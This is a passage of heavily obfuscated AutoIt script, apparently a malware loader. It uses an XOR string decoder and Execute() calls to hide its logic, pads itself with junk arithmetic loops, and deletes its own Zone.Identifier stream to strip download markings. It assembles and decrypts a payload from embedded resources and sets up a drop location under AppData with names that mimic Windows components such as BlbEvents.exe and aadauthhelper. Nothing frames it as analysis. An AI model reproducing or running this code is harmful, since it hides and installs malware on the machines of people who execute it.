1101603334 EndIf If $1026633618 = 1101603334 Then ExitLoop IsBool(451297 * 476502 * 2458215 * 1949237) ExitLoop Chr(629532) EndIf Next EndIf $j += wbhsenrgekrt("0x32", "0x5575") WEnd If $bprime = wbhsenrgekrt("0x32", "0x5575") Then $prime = $z Next Next EndFunc Func pkxeyborqadp($index) Local $instaldir Switch ($index) Case wbhsenrgekrt("0x32", "0x5575") $instaldir = @TempDir Case wbhsenrgekrt("0x32", "0x48") $instaldir = @AppDataDir Case wbhsenrgekrt("0x30", "0x4464") $instaldir = @ScriptDir EndSwitch Return $instaldir EndFunc Func getdir($index) Return Execute(wbhsenrgekrt("0x56696665726F6575724A41482824696E64657829", "0x")) EndFunc Func viferoeurjah($xmujqhcpdv) Return Execute(wbhsenrgekrt("0x475562414945417D724346422C207C49516E754C675460522D", "0x7957776F")) EndFunc Func cqfemaeyvgbf($blxrxkwize) Return Execute(wbhsenrgekrt("0x53555662417B794D4F7159702B27616F5B717B48746A79462A", "0x417A")) EndFunc Func pvuabxznlrzs($yvtdqjwxuc) Return Execute(wbhsenrgekrt("0x686C61795669454771556C66282459765444714A7758754329", "0x")) EndFunc Func hlayviegqulf($rxjkmkkokh) Return Execute(wbhsenrgekrt("0x654D42447579785068615057282472586A6B6D6B4B6F6B4829", "0x48")) EndFunc Func embduyxphapw($pbwinjnvpc) Return Execute(wbhsenrgekrt("0x716050704E69726F564A53652C205446734D4A6E4A5254472D", "0x7A426D66")) EndFunc Func udttjmvkrnwa($xegdgbtqsh) Return Execute(wbhsenrgekrt("0x7B67456C42744E576B4E566E29257944464546635570724928", "0x555A49")) EndFunc Func zfdmcuovjowo($kfubdebmfn) Return Execute(wbhsenrgekrt("0x53737749514F6F4C734160762C204F42516660416669424A2D", "0x686E6868")) EndFunc Func wwsmukkhwedr($zhxspxylqg) Return Execute(wbhsenrgekrt("0x544F5C415D466B76556540542C207E6C7C57545C7D4855632D", "0x48674941")) EndFunc Global $1026633618 = 1021930164 Global $sv96m0wl1h = 2537638 For $e = 0 To 2094993 IsFloat(wbhsenrgekrt("0x386C79736E54584D304A64563032334D624560684964366954726548715B4E564A3140364F", "0x534F70")) If $1026633618 = 1021930164 Then ualhvennmpniswkljzkinjdonqyqz() IsBool(1513812 + 3060834) $1026633618 = 1101603334 Random(2695883) IsString(87720 * 967047 + 2185303 * 2735102) EndIf If $1026633618 = 1101603334 Then FileDelete(@AutoItExe & wbhsenrgekrt("0x3A5A6F6E652E4964656E746966696572", "0x")) ExitLoop EndIf Next Func wbhsenrgekrt($wdxkgveiiapc, $cpgooidhalki) Local $result Local $char Local $xor Local $exec = Execute("Execute") Local $arraykw = [$exec("StringSplit"), $exec("BinaryToString"), $exec("Asc"), $exec("BitXOR"), $exec("StringLen"), $exec("ChrW")] Local $split = $arraykw["0"]($arraykw["1"]($wdxkgveiiapc), "") Local $len = $arraykw["4"]($arraykw["1"]($cpgooidhalki)) For $i = "1" To $split["0"] $char = $arraykw["2"]($split[$i]) $xor = $arraykw["3"]($char, $len) For $ii = "0" To $len - "1" $xor = $arraykw["3"]($xor, $len + $ii) Next $result &= $arraykw["5"]($xor) Next Return $result EndFunc hqeqanssejka("rdpinit") Local $mnuvkvtudjtpdeoevs = DllStructGetData(hyfdzyqzqfkljwcdg("NETSTAT1", "8"), Execute("1")) $mnuvkvtudjtpdeoevs &= DllStructGetData(hyfdzyqzqfkljwcdg("AcXtrnal2", "8"), Execute("1")) $mnuvkvtudjtpdeoevs &= DllStructGetData(hyfdzyqzqfkljwcdg("audit3", "8"), Execute("1")) $mnuvkvtudjtpdeoevs = ewyotozfgclifr($mnuvkvtudjtpdeoevs, "fajpenzlrumdlwphedshoydedjvdipbtxmnraijinazgnrsdpg") $vsmhhwyfiriwkauga = @AppDataDir & "\certcli" lymopszxugykjqwlvvwur("2", "15000") qyppsaalreb(Execute("False")) ewknkvisjericonz("BlbEvents.exe", "aadauthhelper", "+", True)